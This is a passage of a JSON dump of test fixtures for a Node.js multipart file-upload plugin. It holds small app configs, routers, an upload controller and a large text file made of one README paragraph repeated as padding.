    "content": "const path = require('node:path');\nconst fs = require('node:fs');\n\n// keep one generator function test case\nmodule.exports = async function () {\n  const parts = this.multipart();\n  let part;\n  while ((part = await parts()) != null) {\n    if (Array.isArray(part)) {\n      continue;\n    } else {\n      break;\n    }\n  }\n\n  const ws = fs.createWriteStream(path.join(this.app.config.logger.dir, 'multipart-test-file'));\n  part.pipe(ws);\n  this.body = {\n    filename: part.filename,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/whitelist-function/app/router.js",
    "content": "module.exports = (app) => {\n  app.post('/upload.json', 'upload');\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/whitelist-function/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  fileExtensions: ['.foo'],\n  whitelist(filename) {\n    if (filename === 'bar') return true;\n    if (filename === 'error') throw new Error('mock checkExt error');\n    return false;\n  },\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/whitelist-function/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/whitelist-function/package.json",
    "content": "{\n  \"name\": \"whitelist-function\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/wrong-fileModeMatch/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  mode: 'file',\n  fileModeMatch: /^\\/upload$/,\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/wrong-fileModeMatch/package.json",
    "content": "{\n  \"name\": \"multipart-wrong-mode-demo\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/wrong-fileModeMatch-value/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  mode: 'stream',\n  fileModeMatch: 'foobar',\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/wrong-fileModeMatch-value/package.json",
    "content": "{\n  \"name\": \"multipart-wrong-mode-demo\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/wrong-mode/config/config.default.js",
    "content": "'use strict';\n\nexports.multipart = {\n  mode: 'foo',\n};\n\nexports.keys = 'multipart';\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/apps/wrong-mode/package.json",
    "content": "{\n  \"name\": \"multipart-wrong-mode-demo\"\n}\n"
  },
  {
    "path": "plugins/multipart/test/fixtures/bigfile.txt",
    "content": "Use [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to 